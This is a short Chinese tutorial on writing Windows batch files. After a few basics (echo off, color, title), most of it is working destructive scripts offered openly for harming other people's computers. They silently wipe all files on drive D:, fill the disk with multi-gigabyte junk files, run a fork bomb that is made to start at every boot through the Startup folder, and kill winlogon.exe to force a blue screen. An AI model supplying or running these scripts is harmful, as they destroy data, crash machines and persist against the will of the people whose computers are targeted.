批处理编写
题记
不是杰出者才做梦,而是善梦者才杰出。 ----------------钟扬
批处理定义
批处理就是成批的处理dos命令,自上而下执行命令。运行中一条命令出个错,报个错继续往后处理。
注意:Windows命令叫dos命令,脚本叫dos脚本;linux命令叫shell命令,脚本叫shell脚本。
创建批处理
扩展名:.bat。
新建一个txt文件,把名字改为111.bat,这就是一个批处理文件,然后把命令写在bat文件中,双击就可以一条一条执行了,没有pause(暂停)cmd就会闪一下,执行完就关闭了,写了pause就会挺住。
@echo off //注释:关闭回显,屏蔽执行过程,只显示结果。
color ? 查看颜色 color 0a 0为背景颜色,a字体颜色
title 名字 //设置标题名字
echo. 空一行
d: >nul 2>nul
cd \ >nul 2>nul
rd . /s/q >nul 2>nul //这三条命令是删除d盘文件且不提示
ping -n 10 127.0.0.1 >nul 2>nul //整个10秒延迟不显示
以上可以恶意删除别人文件
-------------------------------------------------------------------------------------
d:
cd\
fsutil file createnew d:\sys.ini 4096000000
fsutil file createnew d:\sys.ini 4096000000
fsutil file createnew d:\sys.ini 4096000000
fsutil file createnew d:\sys.ini 4096000000
创建一堆大量无用的文件,如果加隐藏破坏力更大。
---------------------------------------------------------------------------------------
文件名qq.bat
:d
start
goto d
可以造成电脑死机,重启可停止
找到系统内的开始菜单中的启动,在顶部加上copy qq.bat 启动的地址 就可以开机自启。
copy qq.bat "%userprofile%\启动的地址" (开始菜单之前路径替换)就可以任意用户开机自启。
---------------------------------------------------------------------------------------
一个批处理小程序,主要内容是变量跳区块。
---------------------------------------------------------------------------------------
ntsd -c q -pn winlogon.exe 强制杀死进程,如果杀特殊的就会蓝屏死机。此命令针对xp或者2003的蓝屏命令
taskkill /im explorer.exe /f
echo 傻了吧
ping -n 10 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 吓唬你呢
pause